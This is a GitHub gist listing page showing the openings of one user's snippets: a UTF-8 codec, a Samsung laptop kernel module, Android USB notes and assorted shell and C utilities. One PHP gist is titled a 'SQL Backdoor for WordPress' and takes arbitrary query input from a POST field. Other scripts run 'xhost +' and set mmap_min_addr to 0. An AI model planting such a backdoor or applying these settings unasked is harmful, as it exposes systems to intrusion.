Skip to content

Instantly share code, notes, and snippets.

@iamahuman
iamahuman / utf8.h
Last active July 16, 2017 07:36
Lightweight strict UTF-8 encoder / decoder routine in C (U+0000 - U+D7FF, U+E000 - U+10FFFF)
#ifndef _LUKE1337_UTF8_H
#define _LUKE1337_UTF8_H
#include <inttypes.h>
#include <stddef.h>
typedef uint32_t rune_t;
typedef uint16_t utf8dst_t;
/* if set, signifies an invalid sequence */
@iamahuman
iamahuman / esdm.c
Created May 15, 2017 17:08
[Obsolete] Easy slow down manager for Samsung laptops (patched for Linux 3.x by iamahuman)
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/pci.h>
#include <linux/delay.h>
#include <asm/uaccess.h>
#include <linux/dmi.h>
MODULE_LICENSE("GPL");
@iamahuman
iamahuman / aw.php
Created May 15, 2017 17:10
[Obsolete] SQL Backdoor for WordPress
<?php
header("Content-Type: text/html; charset=UTF-8");
$q = NULL;
if (isset($_POST["q"])) {
$q = $_POST["q"];
if (function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc())
$q = stripslashes($q);
}
global $wpdb;
require_once("wp-load.php");
@iamahuman
iamahuman / usb_mass_storage.txt
Created May 15, 2017 17:31
Exynos USB mass storage (28 Oct 2015, may be out of date)
To Mass Storage:
setprop persist.sys.usb.config mass_storage,adb
echo '{path to shared partition; default=/dev/block/vold/179:17}' > {LUN_FILE}
To MTP:
echo '' > {LUN_FILE}
setprop persist.sys.usb.config mtp,adb
LUN_FILE: one of (preceeding preferred)
@iamahuman
iamahuman / linux_x86_vm86.sh
Last active November 17, 2017 18:55
(2015) Make vm86 emulation on Linux usable (may have security implications, especially since mapping at NULL VMA becomes possible)
#!/bin/sh
sysctl -w vm.mmap_min_addr=0 abi.ldt16=1
@iamahuman
iamahuman / fix-login.sh
Created May 19, 2017 15:50
(2015) Fix some greeter session login on X
#!/bin/sh
mv ~/.Xauthority ~/.Xauthority_old
xhost +
@iamahuman
iamahuman / imgcompare.sh
Created May 19, 2017 15:53
Remove duplicate (similar) images (by Charalamapos Arapidis <[email protected]>)
#!/bin/bash
# imgcompare.sh
#
# Simple bash script to identify similar images
# in a directory. The script uses the great imagemagick
# tool suite to identify image formats, rescale images to same
# sizes before comparing and finally performs comparison
# and calculates an RMSE pixel error value for each image pair.
#
# Charalamapos Arapidis
@iamahuman
iamahuman / spin.sh
Created May 19, 2017 15:54
(2015) A spinner which you can put on your terminal and waste some time staring at it doing nothing
#!/bin/bash
spin=("|" "/" "-" "\\");((i=j=0,n=$(tput cols)-10))
echo -ne "\r"; tput sc
trap "echo;exit 0" SIGTERM SIGINT SIGHUP
while true;do tput rc;s="\r${spin[$i]} ";k=0;while [[ $k -lt $((j < 0 ? -j - 1 : j)) ]]; do
if [[ $j -ge 0 ]]
then s=$s"=";else s=$s" ";fi;((++k));done;((i++))
if [[ $j -lt 0 ]];then ((--j));else ((++j)); fi; if [ $i -ge ${#spin[@]} ]; then i=0;fi
if [ $j -ge $n ]; then j=-1;else if [ $((-j)) -gt $n ]; then j=0; fi; fi;
printf "$s";sleep 0.05;read -t 0.0001 -n 1 -s ans;if [ "$ans" == "q" ];then break;fi;done;echo;
@iamahuman
iamahuman / trayopen.c
Created May 22, 2017 08:35
Linux: check CD-ROM tray status
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <libgen.h>
#include <linux/cdrom.h>
@iamahuman
iamahuman / show-maps.c
Last active July 16, 2017 12:04
Linux: show the memory map of current process
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main (void)
{
int fd, fail;